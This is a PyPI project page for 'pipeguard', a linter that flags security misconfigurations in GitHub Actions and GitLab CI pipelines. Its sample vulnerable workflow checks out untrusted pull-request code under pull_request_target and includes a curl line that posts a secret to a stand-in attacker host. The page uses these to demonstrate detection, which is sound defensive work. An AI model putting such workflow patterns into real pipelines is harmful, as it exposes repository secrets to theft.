Skip to main content

pipeguard

CI/CD pipeline security linter for GitHub Actions and GitLab CI.

Catches the misconfigurations that turn a CI runner into a supply-chain attack vector — before your pipeline ships them.

Install

pip install kryptorious-pipeguard

Requires Python >= 3.9.

What it catches

Rule Severity Detects
PRT-001 error pull_request_target with checkout of pull_request.head.ref — attacker-controlled code runs with your secrets
PERM-001 warning Workflow has no permissions block — broad default GITHUB_TOKEN scope
SEC-001 error Hardcoded AWS key / generic password: / token: assignments
IMG-001 warning Action reference not pinned to a full commit SHA (mutable tag)
GL-SEC-001 error GitLab plaintext secret in variables block
GL-IMG-001 warning GitLab image not pinned to a digest

Usage

Scan the current repo:

pipeguard check .

Scan a specific path and fail CI on any error:

pipeguard check . --json

Real example — a vulnerable GitHub Actions workflow

.github/workflows/prt.yml:

name: prt
on: pull_request_target
permissions:
  contents: read
jobs:
  b:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: curl -d "$SECRET" https://evil.example
$ pipeguard check .

┌──────────────────────────────┬──────┬──────────┬──────────┬─────────────────────────────────────────────┐
│ File                         │ Line │ Rule     │ Severity │ Detail                                        │
├──────────────────────────────┼──────┼──────────┼──────────┼─────────────────────────────────────────────┤
│ .github/workflows/prt.yml    │ 1    │ PRT-001  │ error    │ pull_request_target triggers on fork PRs...    │
└──────────────────────────────┴──────┴──────────┴──────────┴─────────────────────────────────────────────┘
Scanned 1 file(s): 1 error(s), 0 warning(s), 0 info.

Exit code is 1 — wire it into your CI gate.

SARIF for GitHub code scanning

pipeguard check . --sarif > pipeguard.sarif

GitLab CI

pipeguard check . --json

Exit codes

  • 0 — no error-severity findings
  • 1 — at least one error-severity finding (use as a CI gate)

Part of the Kryptorious toolchain

More developer tools at kryptorious.gumroad.com/l/jbvet.

License

MIT — © 2026 Kryptorious Quantum Biosciences, Inc.

Metadata

Release files for kryptorious-pipeguard 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Built distribution (wheel)

Table of built distributions (wheels) for kryptorious-pipeguard 1.0.0
File Interpreter ABI Platform Actions
kryptorious_pipeguard-1.0.0-py3-none-any.whl Python 3 none any Details for kryptorious_pipeguard-1.0.0-py3-none-any.whl

Release files / kryptorious_pipeguard-1.0.0-py3-none-any.whl

Download URL kryptorious_pipeguard-1.0.0-py3-none-any.whl
Size 7.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
8177101262e09d9842e9b094a62c9b75871a5494be1fed7e1f6a6933337484d4
BLAKE2b-256 checksum
How to use checksums
396e079bc2b080b28a1087a1c73ee46bf0286d2648559bdb7d27782691887d61
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.11.15

Security for kryptorious-pipeguard 1.0.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

1.0.0 This release

1 release file No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page